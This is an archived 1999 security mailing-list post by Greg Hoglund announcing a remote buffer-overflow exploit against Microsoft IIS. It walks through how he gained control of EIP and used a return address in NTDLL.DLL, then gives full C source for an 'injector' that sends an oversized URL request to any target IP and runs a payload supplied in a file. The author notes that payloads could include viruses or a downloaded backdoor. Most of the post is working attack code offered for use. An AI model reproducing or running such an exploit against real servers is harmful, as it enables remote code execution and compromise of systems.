IIS Remote Exploit (injection code)

From: Greg Hoglund (hoglundat_private)
Date: Wed Jun 16 1999 - 08:58:05 PDT

  • Next message: Greg Hoglund: "Microsoft win2k PASV vulnerability"

    I read yesturday on eEye.com that they had discovered a buffer overflow in
    IIS.  I could not resist writing an exploit.  I did not have time to design
    a really cool payload for this exploit, so I simply wrote the injection
    code.  However, this is meaningful for several reasons.  Attached is the
    injection code.  The exploit will deliver any payload of your choosing.
    Your payload will be executed.  This empowers you to create a "collection"
    of payloads that are not dependant upon the injection vector in any way.
    This decoupling is important for military needs, where a single injection
    vector needs to work, but the "warhead" may be different depending on the
    targets characterization.
    
    The exploit was fairly simple to build.  In short, I read on eEye.com that
    they had overflowed IIS with something like a ~3000 character URL.  Within
    minutes I had caused IIS to crash with EIP under my control.  I used a
    special pattern in the buffer (see code) to make it easy for me to identify
    where EIP was being popped from.  The pattern also made it easy to
    determine where I was jumping around.  Use the tekneek Danielson. ;-)
    
    So, I controlled EIP, but I needed to get back to my stack segment, of
    course.  This is old school, and I really lucked out.  Pushed down two
    levels on the stack was an address for my buffer.  I couldn't have asked
    for more.  So, I found a location in NTDLL.DLL (0x77F88CF0) that I could
    return to.  It had two pop's followed by a return.  This made my injection
    vector return to the value that was stored two layers down on the stack.
    Bam, I was in my buffer.  So, I landed in a weird place, had to add a near
    jump to get to somewhere more useful.. nothing special, and here we are
    with about 2K of payload space.  If you don't supply any mobile code to be
    run, the injection vector will supply some for you.  The default payload in
    simply a couple of no-ops followed by a debug breakpoint (interrupt 3)...
    It's easy to play with if you want to build your own payloads.. just keep a
    debugger attached to inetinfo.exe on the target machine.
    
    Lastly, I would simply like to point out that monoculture installations are
    very dangerous.  It's a concept from agribusiness.. if you have all one
    crop, and a virus comes along that can kill that crop, your out of
    business.  With almost ALL of the IIS servers on the net being vulnerable
    to this exploit, we also have a monoculture.  And, it's not just IIS.  The
    backbone of the Internet is built on common router technology (such as
    cisco IOS).  If a serious exploit comes along for the IOS kernel, can you
    imagine the darkness that will fall?
    
    <--- snip
    
    
    // IIS Injector for NT
    // written by Greg Hoglund <hoglundat_private>
    // http://www.rootkit.com
    //
    // If you would like to deliver a payload, it must be stored in a binary file.
    // This injector decouples the payload from the injection code allowing you to
    // create a numnber of different attack payloads.  This code could be used,
    for
    // example, by a military that needs to attack IIS servers, and has
    characterized
    // the eligible hosts.  The proper attack can be chosen depending on needs.
     Since
    // the payload is so large with this injection vector, many options are
    available.
    // First and foremost, virii can delivered with ease.  The payload is also
    plenty
    // large enough to remotely download and install a back door program.
    // Considering the monoculture of NT IIS servers out on the 'Net, this
    represents a
    // very serious security problem.
    
    #include <windows.h>
    #include <stdio.h>
    #include <winsock.h>
    
    void main(int argc, char **argv)
    {
    	SOCKET s = 0;
    	WSADATA wsaData;
    
    	if(argc < 2)
    	{
    		fprintf(stderr, "IIS Injector for NT\nwritten by Greg Hoglund, " \
                            "http://www.rootkit.com\nUsage: %s <target" \
    						"ip> <optional payload file>\n", argv[0]);
    		exit(0);
    	}
    
    	WSAStartup(MAKEWORD(2,0), &wsaData);
    
    	s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
    	if(INVALID_SOCKET != s)
    	{
    		SOCKADDR_IN anAddr;
    		anAddr.sin_family = AF_INET;
    		anAddr.sin_port = htons(80);
    		anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);
    			
    		if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr)))
    		{
    			static char theSploit[4096];
    			// fill pattern
    			char kick = 'z'; //0x7a
    			char place = 'A';
    
    			// my uber sweet pattern gener@t0r
    			for(int i=0;i<4096;i+=4)
    			{
    				theSploit[i] = kick;
    				theSploit[i+1] = place;
    				theSploit[i+2] = place + 1;
    				theSploit[i+3] = place + 2;
    
    				if(++place == 'Y') // beyond 'XYZ'
    				{	
    					place = 'A';
    					if(--kick < 'a') kick = 'a';
    				}
    			}
    
    			_snprintf(theSploit, 5, "get /");
    			_snprintf(theSploit + 3005, 22, "BBBB.htr HTTP/1.0\r\n\r\n\0");
    
    			// after crash, looks like inetinfo.exe is jumping to the address
    			// stored @ location 'GHtG' (0x47744847)
    			// cross reference back to the buffer pattern, looks like we need
    			// to store our EIP into theSploit[598]
    
    			// magic eip into NTDLL.DLL
    			theSploit[598] = (char)0xF0;
    			theSploit[599] = (char)0x8C;
    			theSploit[600] = (char)0xF8;
    			theSploit[601] = (char)0x77;
    			
    			// code I want to execute
    			// will jump foward over the
    			// embedded eip, taking us
    			// directly to the payload
    			theSploit[594] = (char)0x90;  //nop
    			theSploit[595] = (char)0xEB;  //jmp
    			theSploit[596] = (char)0x35;  //
    			theSploit[597] = (char)0x90;  //nop
    			
    			// the payload.  This code is executed remotely.
    			// if no payload is supplied on stdin, then this default
    			// payload is used.  int 3 is the debug interrupt and
    			// will cause your debugger to "breakpoint" gracefully.
    			// upon examiniation you will find that you are sitting
    			// directly in this code-payload.
    			if(argc < 3)
    			{
    				theSploit[650] = (char) 0x90; //nop
    				theSploit[651] = (char) 0x90; //nop
    				theSploit[652] = (char) 0x90; //nop
    				theSploit[653] = (char) 0x90; //nop
    				theSploit[654] = (char) 0xCC; //int 3
    				theSploit[655] = (char) 0xCC; //int 3
    				theSploit[656] = (char) 0xCC; //int 3
    				theSploit[657] = (char) 0xCC; //int 3
    				theSploit[658] = (char) 0x90; //nop
    				theSploit[659] = (char) 0x90; //nop
    				theSploit[660] = (char) 0x90; //nop
    				theSploit[661] = (char) 0x90; //nop
    			}
    			else
    			{
    				// send the user-supplied payload from
    				// a file.  Yes, that's a 2K buffer for
    				// mobile code.  Yes, that's big.
    				FILE *in_file;
    				in_file = fopen(argv[2], "rb");
    				if(in_file)
    				{
    					int offset = 650;
    					while( (!feof(in_file)) && (offset < 3000))
    					{
    						theSploit[offset++] = fgetc(in_file);
    					}
    					fclose(in_file);
    				}
    			}
    			send(s, theSploit, strlen(theSploit), 0);
    		}
    		closesocket(s);
    	}
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:49:37 PDT